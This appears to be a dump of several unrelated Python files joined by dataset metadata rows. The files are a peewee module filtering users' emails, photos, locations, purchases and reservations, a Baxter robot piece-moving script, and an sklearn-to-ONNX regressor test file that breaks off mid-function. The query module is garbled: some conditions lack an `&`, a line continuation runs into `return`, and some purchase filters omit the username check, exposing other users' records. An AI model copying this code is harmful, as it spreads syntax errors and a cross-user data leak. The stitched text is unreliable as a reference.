logger.info("Start date and end date is not present")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachments) &\
(tbl_object.message_type== message_type))
return query.offset(skip).limit(limit).dicts(), query.count()
if start_date and end_date:
logger.info("Start date and end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.message_type== message_type)& \
(tbl_object.date> start_date) &\
(tbl_object.date < end_date))
elif start_date and not end_date:
logger.info("Start date and but not end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.message_type== message_type)&\
(tbl_object.date> start_date))
elif end_date and not start_date:
logger.info("not Start date and but end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.message_type== message_type)&\
(tbl_object.date < end_date))
else: # not start_date and not end_date
logger.info("Start date and end date is not present")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &(tbl_object.message_type== message_type))
return query.offset(skip).limit(limit).dicts(), query.count()
@aiomisc.threaded
def match_text(tbl_object, username, indexed_obj, matching_string, message_type, start_date, end_date, skip, limit, attachments):
"""
for tweet in Tweet.select().where(Tweet.created_date < datetime.datetime(2011, 1, 1)):
print(tweet.message, tweet.created_date)
"""
# query = (tbl_object
# .select()
# .join(index_email_obj, on=(email_tbl_object.email_id == index_email_obj.email_id))
# .where(index_email_obj.match(matching_string))
# .dicts())
# return list(query)
if attachments:
if start_date and end_date:
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\
.where(indexed_obj.match(matching_string) & (tbl_object.username ==username) &\
(tbl_object.date> start_date) &(tbl_object.date < end_date) &(tbl_object.message_type== message_type))\
.order_by(-tbl_object.date)
elif start_date and not end_date:
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\
.where((indexed_obj.match(matching_string)) & (tbl_object.username ==username) &\
(tbl_object.date> start_date) &(tbl_object.message_type== message_type))\
.order_by(-tbl_object.date)
elif end_date and not start_date:
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\
.where((indexed_obj.match(matching_string)) (tbl_object.username ==username) \
&(tbl_object.date < end_date) & (tbl_object.message_type== message_type))\
.order_by(-tbl_object.date)
else: # not start_date and not end_date
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id) & (tbl_object.username ==username) &\
(tbl_object.message_type== message_type))\
.where(indexed_obj.match(matching_string))\
return query.offset(skip).limit(limit).dicts(), query.count()
if start_date and end_date:
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\
.where(indexed_obj.match(matching_string) & (tbl_object.username ==username) &\
(tbl_object.date> start_date) &(tbl_object.date < end_date) &(tbl_object.message_type== message_type))\
.order_by(-tbl_object.date)
elif start_date and not end_date:
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\
.where((indexed_obj.match(matching_string)) & (tbl_object.username ==username) &\
(tbl_object.date> start_date) &(tbl_object.message_type== message_type))\
.order_by(-tbl_object.date)
elif end_date and not start_date:
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\
.where((indexed_obj.match(matching_string)) (tbl_object.username ==username) \
&(tbl_object.date < end_date) & (tbl_object.message_type== message_type))\
.order_by(-tbl_object.date)
else: # not start_date and not end_date
query = tbl_object\
.select()\
.join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id) & (tbl_object.username ==username) &\
(tbl_object.message_type== message_type))\
.where(indexed_obj.match(matching_string))\
return query.offset(skip).limit(limit).dicts(), query.count()
@aiomisc.threaded
def store_images(**data):
"""
purchases: a list of purchases dict
"""
table = data["tbl_object"]
try:
geo_data = json.dumps(data['geo_data'])
table.insert(
creation_time=data["creation_time"],
modification_time=data["modification_time"],
username = data["username"],
checksum=data["checksum"],
photo_taken_time=data["photo_taken_time"],
description=data["description"],
url=data["url"],
title=data["title"],
geo_data=geo_data,
image_path=data["image_path"]).execute()
logger.success(f"IMAGES: success on insert {data['username']} image {data['image_path']}")
except OperationalError as e:
logger.error(f"IMAGES: Couldnt save image data {data['username']} because of {e}")
except IntegrityError as e:
logger.error(f"IMAGES: Duplicate image key exists {data['username']} because of {e}")
# except Exception as e:
# logger.error(f"IMAGES: {data['username']} because of {e}")
return
@aiomisc.threaded
def filter_images(tbl_object, username, start_date, end_date, skip, limit):
"""
for tweet in Tweet.select().where(Tweet.created_date < datetime.datetime(2011, 1, 1)):
print(tweet.message, tweet.created_date)
"""
##startDate must be greater then Enddate
if start_date and end_date:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) \
&(tbl_object.creation_time> start_date) \
&(tbl_object.creation_time < end_date))\
.order_by(-tbl_object.creation_time)
elif start_date and not end_date:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &(tbl_object.creation_time> start_date))\
.order_by(-tbl_object.creation_time)\
elif end_date and not start_date:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &(tbl_object.creation_time < end_date))\
.order_by(-tbl_object.creation_time)\
else: # not start_date and not end_date
query = tbl_object\
.select()\
.where(tbl_object.username ==username)\
.order_by(-tbl_object.creation_time)\
return query.offset(skip).limit(limit).dicts(), query.count()
@aiomisc.threaded
def filter_locations(tbl_object, username, start_date, end_date):
"""
for tweet in Tweet.select().where(Tweet.created_date < datetime.datetime(2011, 1, 1)):
print(tweet.message, tweet.created_date)
"""
##startDate must be greater then Enddate
if start_date and end_date:
query = tbl_object\
.select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\
.where((tbl_object.username ==username) \
&(tbl_object.time> start_date) \
&(tbl_object.time < end_date))\
.order_by(-tbl_object.time)
elif start_date and not end_date:
query = tbl_object\
.select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\
.where((tbl_object.username ==username) &(tbl_object.time> start_date))\
.order_by(-tbl_object.time)\
elif end_date and not start_date:
query = tbl_object\
.select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\
.where((tbl_object.username ==username) &(tbl_object.time < end_date))\
.order_by(-tbl_object.time)\
else: # not start_date and not end_date
query = tbl_object\
.select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\
.where(tbl_object.username ==username)\
.order_by(-tbl_object.time)\
return query.dicts(), query.count()
@aiomisc.threaded
def store_purchases(**data):
"""
purchases: a list of purchases dict
"""
table = data["tbl_object"]
try:
products = json.dumps(data["products"])
table.insert(merchant_name=data["merchant_name"],
products=products,
username = data["username"],
checksum=data["checksum"],
time=data["time"]).execute()
logger.info(f"On insert the purchase for {data['merchant_name']}")
except OperationalError as e:
logger.error(f"PURCHASES: Couldnt save purchase data {data['merchant_name']} because of {e}")
except IntegrityError as e:
logger.error(f"PURCHASES: Duplicate key exists {data['merchant_name']} because of {e}")
return
@aiomisc.threaded
def store_reservations(**data):
"""
purchases: a list of purchases dict
"""
table = data["tbl_object"]
try:
table.insert(merchant_name=data["merchant_name"],
src= data["src"],
dest=data["dest"],
username = data["username"],
checksum=data["checksum"],
time=data["time"]).execute()
logger.info(f"On insert the reservations for {data['merchant_name']}")
except OperationalError as e:
logger.error(f"RESERVATIONS: Couldnt save reservations data {data['merchant_name']} because of {e}")
except IntegrityError as e:
logger.error(f"RESERVATIONS: Duplicate key exists {data['merchant_name']} because of {e}")
return
@aiomisc.threaded
def filter_purchases(tbl_object, username, start_date, end_date, skip, limit, merchant_name):
logger.info(f"Merchant name received is {merchant_name}")
if start_date and end_date:
if merchant_name:
query = tbl_object\
.select()\
.where((tbl_object.username ==username)\
&(tbl_object.time> start_date) \
&(tbl_object.time < end_date)\
&(tbl_object.merchant_name==merchant_name))\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where((tbl_object.time> start_date) &(tbl_object.time < end_date))\
.order_by(-tbl_object.time)
elif start_date and not end_date:
if merchant_name:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.time> start_date)\
&(tbl_object.merchant_name==merchant_name))\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where(tbl_object.time> start_date)\
.order_by(-tbl_object.time)
elif end_date and not start_date:
if merchant_name:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.time < end_date)&\
(tbl_object.merchant_name==merchant_name))\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where(tbl_object.username ==username) &(tbl_object.time < end_date)\
.order_by(-tbl_object.time)\
else: # not start_date and not end_date
if merchant_name:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &(tbl_object.merchant_name**f'%{merchant_name}%'))\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where(tbl_object.username ==username)\
.order_by(-tbl_object.time)\
return query.offset(skip).limit(limit).dicts(), query.count()
@aiomisc.threaded
def filter_reservations(tbl_object, username, start_date, end_date, skip, limit, text):
if start_date and end_date:
if text:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.time> start_date) &\
(tbl_object.time < end_date)&\
(tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.time> start_date)&\
(tbl_object.time < end_date))\
.order_by(-tbl_object.time)
elif start_date and not end_date:
if text:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.time> start_date) &\
(tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &(tbl_object.time> start_date))\
.order_by(-tbl_object.time)
elif end_date and not start_date:
if text:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.time < end_date)&\
(tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.time < end_date))\
.order_by(-tbl_object.time)
else: # not start_date and not end_date
if text:
query = tbl_object\
.select()\
.where((tbl_object.username ==username) &\
(tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\
.order_by(-tbl_object.time)
else:
query = tbl_object\
.select()\
.where((tbl_object.username ==username))\
.order_by(-tbl_object.time)
return query.offset(skip).limit(limit).dicts(), query.count()
| 35.232092
| 129
| 0.53516
| 3,766
| 36,888
| 5.008497
| 0.051248
| 0.129785
| 0.048669
| 0.051956
| 0.867936
| 0.850175
| 0.821493
| 0.78067
| 0.753844
| 0.739582
| 0
| 0.001468
| 0.353502
| 36,888
| 1,046
| 130
| 35.265774
| 0.789458
| 0.097349
| 0
| 0.77761
| 0
| 0
| 0.096277
| 0.004855
| 0
| 0
| 0
| 0
| 0
| 1
| 0.037821
| false
| 0
| 0.009077
| 0.001513
| 0.089259
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
53e1fe0c736796263e39c1dc1f76a5cc642388ef
| 6,349
|
py
|
Python
|
baxter_ras_interface/scripts/tablero.py
|
gabrieldiaz94/RAS-Baxter-Interface
|
7766d012617bffd09e42b6b76ea105fb3fe24481
|
[
"Apache-2.0"
] | 1
|
2022-03-06T15:47:33.000Z
|
2022-03-06T15:47:33.000Z
|
baxter_ras_interface/scripts/tablero.py
|
willandru/RAS-Baxter-Interface
|
7766d012617bffd09e42b6b76ea105fb3fe24481
|
[
"Apache-2.0"
] | null | null | null |
baxter_ras_interface/scripts/tablero.py
|
willandru/RAS-Baxter-Interface
|
7766d012617bffd09e42b6b76ea105fb3fe24481
|
[
"Apache-2.0"
] | 1
|
2022-03-06T15:46:37.000Z
|
2022-03-06T15:46:37.000Z
|
#!/usr/bin/env python
import sys
import yaml
import operator
import rospy
sys.path.append('/home/z420/ros_ws/src/jp_baxtertry1/scripts')
import Baxtermovimiento2
def yaml_loader(filepath):
"""Loads a yaml file"""
with open(filepath, "r") as stream:
data =yaml.load(stream)
return data
def traer_ficha(t,i,j,m,n,camara,data,data_list,data_list2,color,dificultad):
aux = 0
bandera_mov=0
for k in xrange(m):
for l in xrange(n):
if camara[k][l] == data[data_list[dificultad][0]][data_list2[t][0]][k][l]:
pass
elif camara[k][l] == color: # si encuentre un cubo del color que se quiere, lo lleva donde necesito
print ("traer ficha de [k][l] a [i][j]")
aux = camara[i][j]
puntoa=(k,l)
puntob=(i,j)
Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara)
Baxtermovimiento2.finalpose(1)
camara[i][j]=camara[k][l]
camara[k][l]=aux
break
else:
pass
if camara[i][j] == color:
break
def quitar_ficha(t,i,j,m,n,camara,data,data_list,data_list2,color,dificultad):
aux = 0
bandera_mov=0
for k in xrange(m): # busco si esta ficha se necesita en algun otro lado
for l in xrange(n):
if k <= i and l <= j: # no muevo lo que ya esta organizado
pass
elif camara[k][l] == 0 and data[data_list[dificultad][0]][data_list2[t][0]][k][l]==color: # si encuentre un espacio vacio y que la necesite,traigo la otra ficha
print ("quitar ficha de [i][j] a [k][l]")
aux = camara[i][j]
puntoa=(i,j)
puntob=(k,l)
Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara)
Baxtermovimiento2.finalpose(1)
camara[i][j]=camara[k][l]
camara[k][l]=aux
bandera_mov=1;
break
else:
pass
if camara[i][j] == 0:
break
if bandera_mov==0:
for k in xrange(m): # si no se necesita en otro lado la pongo en un sitio vacio
for l in xrange(n):
if k <= i and l <= j: # no muevo lo que ya esta organizado
pass
elif camara[k][l] == 0: # si encuentre un espacio vacio, traigo la otra ficha
print ("5mover ficha de [i][j] a [k][l]")
print i,j,k,l
aux = camara[i][j]
puntoa=(i,j)
puntob=(k,l)
Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara)
Baxtermovimiento2.finalpose(1)
camara[i][j]=camara[k][l]
camara[k][l]=aux
break
else:
pass
if camara[i][j] == 0:
break
def traer_ficha2(i,j,m,n,camara,data,color,dificultad):
aux = 0
bandera_mov=0
for k in xrange(m):
for l in xrange(n):
if camara[k][l] == data[k][l]:
pass
elif camara[k][l] == color: # si encuentre un cubo del color que se quiere, lo lleva donde necesito
print ("traer ficha de [k][l] a [i][j]")
aux = camara[i][j]
puntoa=(k,l)
puntob=(i,j)
Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara)
Baxtermovimiento2.finalpose(1)
camara[i][j]=camara[k][l]
camara[k][l]=aux
break
else:
pass
if camara[i][j] == color:
break
def quitar_ficha2(i,j,m,n,camara,data,color,dificultad):
aux = 0
bandera_mov=0
for k in xrange(m): # busco si esta ficha se necesita en algun otro lado
for l in xrange(n):
if k <= i and l <= j: # no muevo lo que ya esta organizado
pass
elif camara[k][l] == 0 and data[k][l]==color: # si encuentre un espacio vacio y que la necesite,traigo la otra ficha
print ("quitar ficha de [i][j] a [k][l]")
aux = camara[i][j]
puntoa=(i,j)
puntob=(k,l)
Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara)
Baxtermovimiento2.finalpose(1)
camara[i][j]=camara[k][l]
camara[k][l]=aux
bandera_mov=1;
break
else:
pass
if camara[i][j] == 0:
break
if bandera_mov==0:
for k in xrange(m): # si no se necesita en otro lado la pongo en un sitio vacio
for l in xrange(n):
if k <= i and l <= j: # no muevo lo que ya esta organizado
pass
elif camara[k][l] == 0: # si encuentre un espacio vacio, traigo la otra ficha
print ("mover ficha de [i][j] a [k][l]")
aux = camara[i][j]
puntoa=(i,j)
puntob=(k,l)
Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara)
Baxtermovimiento2.finalpose(1)
camara[i][j]=camara[k][l]
camara[k][l]=aux
break
else:
pass
if camara[i][j] == 0:
break
def tablero2(m,n,data,cont_color,cont_color2,dificultad,camara):
for i in xrange(m):
for j in xrange(n):
if data[i][j] == 0:
cont_color[0] = cont_color[0] + 1
elif data[i][j] == 1:
cont_color[1] = cont_color[1] + 1
elif data[i][j] == 2:
cont_color[2] = cont_color[2] + 1
elif data[i][j] == 3:
cont_color[3] = cont_color[3] + 1
elif data[i][j] == 4:
cont_color[4] = cont_color[4] + 1
else:
print("color no valido")
for i in xrange(m):
for j in xrange(n):
if camara[i][j] == 0:
cont_color2[0] = cont_color2[0] + 1
elif camara[i][j] == 1:
cont_color2[1] = cont_color2[1] + 1
elif camara[i][j] == 2:
cont_color2[2] = cont_color2[2] + 1
elif camara[i][j] == 3:
cont_color2[3] = cont_color2[3] + 1
elif camara[i][j] == 4:
cont_color2[4] = cont_color2[4] + 1
else:
print("color no valido")
cont=[cont_color,cont_color2]
return cont
def tablero(m,n,data,data_list,data_list2,cont_color,cont_color2,dificultad,camara):
for i in xrange(m):
for j in xrange(n):
if data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 0:
cont_color[0] = cont_color[0] + 1
elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 1:
cont_color[1] = cont_color[1] + 1
elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 2:
cont_color[2] = cont_color[2] + 1
elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 3:
cont_color[3] = cont_color[3] + 1
elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 4:
cont_color[4] = cont_color[4] + 1
else:
print("color no valido")
for i in xrange(m):
for j in xrange(n):
if camara[i][j] == 0:
cont_color2[0] = cont_color2[0] + 1
elif camara[i][j] == 1:
cont_color2[1] = cont_color2[1] + 1
elif camara[i][j] == 2:
cont_color2[2] = cont_color2[2] + 1
elif camara[i][j] == 3:
cont_color2[3] = cont_color2[3] + 1
elif camara[i][j] == 4:
cont_color2[4] = cont_color2[4] + 1
else:
print("color no valido")
cont=[cont_color,cont_color2]
return cont
| 30.090047
| 163
| 0.618208
| 1,104
| 6,349
| 3.480072
| 0.101449
| 0.028631
| 0.058303
| 0.028631
| 0.928423
| 0.922957
| 0.922957
| 0.919833
| 0.919833
| 0.919833
| 0
| 0.037713
| 0.223185
| 6,349
| 210
| 164
| 30.233333
| 0.741281
| 0.119704
| 0
| 0.832487
| 0
| 0
| 0.051702
| 0.007746
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.060914
| 0.025381
| null | null | 0.055838
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
53f7c6951cfd6e3ea2f2fd33c7df40481b372442
| 30,281
|
py
|
Python
|
tests/test_sklearn_glm_regressor_converter.py
|
elcolie/sklearn-onnx
|
004fa39cb995ada0cde232ae8e30341018f450ac
|
[
"MIT"
] | null | null | null |
tests/test_sklearn_glm_regressor_converter.py
|
elcolie/sklearn-onnx
|
004fa39cb995ada0cde232ae8e30341018f450ac
|
[
"MIT"
] | null | null | null |
tests/test_sklearn_glm_regressor_converter.py
|
elcolie/sklearn-onnx
|
004fa39cb995ada0cde232ae8e30341018f450ac
|
[
"MIT"
] | null | null | null |
"""Tests GLMRegressor converter."""
import unittest
from distutils.version import StrictVersion
import numpy
from numpy.testing import assert_almost_equal
from sklearn import linear_model
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.neural_network import MLPRegressor
from sklearn.svm import LinearSVR
from skl2onnx import convert_sklearn
from skl2onnx.common.data_types import (
BooleanTensorType,
DoubleTensorType,
FloatTensorType,
Int64TensorType,
)
from onnxruntime import __version__ as ort_version, InferenceSession
from test_utils import dump_data_and_model, fit_regression_model
class TestGLMRegressorConverter(unittest.TestCase):
def test_model_linear_regression(self):
model, X = fit_regression_model(linear_model.LinearRegression())
model_onnx = convert_sklearn(
model, "linear regression",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearRegression-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
@unittest.skipIf(
StrictVersion(ort_version) <= StrictVersion("0.5.0"),
reason="old onnxruntime does not support double")
def test_model_linear_regression_multi(self):
model, X = fit_regression_model(linear_model.LinearRegression(),
n_targets=2)
model_onnx = convert_sklearn(
model, "linear regression",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearRegressionMulti-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
@unittest.skipIf(
StrictVersion(ort_version) <= StrictVersion("0.5.0"),
reason="old onnxruntime does not support double")
def test_model_linear_regression64(self):
model, X = fit_regression_model(linear_model.LinearRegression())
model_onnx = convert_sklearn(model, "linear regression",
[("input", DoubleTensorType(X.shape))])
self.assertIsNotNone(model_onnx)
self.assertIn("elem_type: 11", str(model_onnx))
dump_data_and_model(
X.astype(numpy.float64),
model,
model_onnx,
basename="SklearnLinearRegression64-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
@unittest.skipIf(
StrictVersion(ort_version) <= StrictVersion("0.5.0"),
reason="old onnxruntime does not support double")
def test_model_linear_regression64_multiple(self):
model, X = fit_regression_model(linear_model.LinearRegression(),
n_targets=2)
model_onnx = convert_sklearn(model, "linear regression",
[("input", DoubleTensorType(X.shape))])
self.assertIsNotNone(model_onnx)
self.assertIn("elem_type: 11", str(model_onnx))
dump_data_and_model(
X.astype(numpy.float64),
model,
model_onnx,
basename="SklearnLinearRegression64Multi-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_linear_regression_int(self):
model, X = fit_regression_model(
linear_model.LinearRegression(), is_int=True)
model_onnx = convert_sklearn(
model, "linear regression",
[("input", Int64TensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearRegressionInt-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_linear_regression_nointercept(self):
model, X = fit_regression_model(
linear_model.LinearRegression(fit_intercept=False))
model_onnx = convert_sklearn(
model, "linear regression",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearRegressionNoIntercept-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_linear_regression_bool(self):
model, X = fit_regression_model(
linear_model.LinearRegression(), is_bool=True)
model_onnx = convert_sklearn(
model, "linear regression",
[("input", BooleanTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearRegressionBool",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_linear_svr(self):
model, X = fit_regression_model(LinearSVR())
model_onnx = convert_sklearn(
model, "linear SVR",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearSvr-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_linear_svr_int(self):
model, X = fit_regression_model(LinearSVR(), is_int=True)
model_onnx = convert_sklearn(
model, "linear SVR",
[("input", Int64TensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearSvrInt-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_linear_svr_bool(self):
model, X = fit_regression_model(LinearSVR(), is_bool=True)
model_onnx = convert_sklearn(
model, "linear SVR",
[("input", BooleanTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLinearSVRBool",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_ridge(self):
model, X = fit_regression_model(linear_model.Ridge())
model_onnx = convert_sklearn(
model, "ridge regression",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnRidge-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_ridge_int(self):
model, X = fit_regression_model(linear_model.Ridge(), is_int=True)
model_onnx = convert_sklearn(
model, "ridge regression",
[("input", Int64TensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnRidgeInt-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_ridge_bool(self):
model, X = fit_regression_model(linear_model.Ridge(), is_bool=True)
model_onnx = convert_sklearn(
model, "ridge regression",
[("input", BooleanTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnRidgeBool",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_sgd_regressor(self):
model, X = fit_regression_model(linear_model.SGDRegressor())
model_onnx = convert_sklearn(
model,
"scikit-learn SGD regression",
[("input", FloatTensorType([None, X.shape[1]]))],
)
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnSGDRegressor-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_sgd_regressor_int(self):
model, X = fit_regression_model(
linear_model.SGDRegressor(), is_int=True)
model_onnx = convert_sklearn(
model, "SGD regression",
[("input", Int64TensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnSGDRegressorInt-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_sgd_regressor_bool(self):
model, X = fit_regression_model(
linear_model.SGDRegressor(), is_bool=True)
model_onnx = convert_sklearn(
model, "SGD regression",
[("input", BooleanTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnSGDRegressorBool-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_elastic_net_regressor(self):
model, X = fit_regression_model(linear_model.ElasticNet())
model_onnx = convert_sklearn(
model,
"scikit-learn elastic-net regression",
[("input", FloatTensorType([None, X.shape[1]]))],
)
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnElasticNet-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_elastic_net_cv_regressor(self):
model, X = fit_regression_model(linear_model.ElasticNetCV())
model_onnx = convert_sklearn(
model,
"scikit-learn elastic-net regression",
[("input", FloatTensorType([None, X.shape[1]]))],
)
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnElasticNetCV-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_elastic_net_regressor_int(self):
model, X = fit_regression_model(linear_model.ElasticNet(), is_int=True)
model_onnx = convert_sklearn(
model, "elastic net regression",
[("input", Int64TensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnElasticNetRegressorInt-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_elastic_net_regressor_bool(self):
model, X = fit_regression_model(
linear_model.ElasticNet(), is_bool=True)
model_onnx = convert_sklearn(
model, "elastic net regression",
[("input", BooleanTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnElasticNetRegressorBool",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lars(self):
model, X = fit_regression_model(linear_model.Lars())
model_onnx = convert_sklearn(
model, "lars",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLars-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lars_cv(self):
model, X = fit_regression_model(linear_model.LarsCV())
model_onnx = convert_sklearn(
model, "lars",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLarsCV-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lasso_lars(self):
model, X = fit_regression_model(linear_model.LassoLars(alpha=0.01))
model_onnx = convert_sklearn(
model, "lasso lars",
[("input", FloatTensorType([None, X.shape[1]]))])
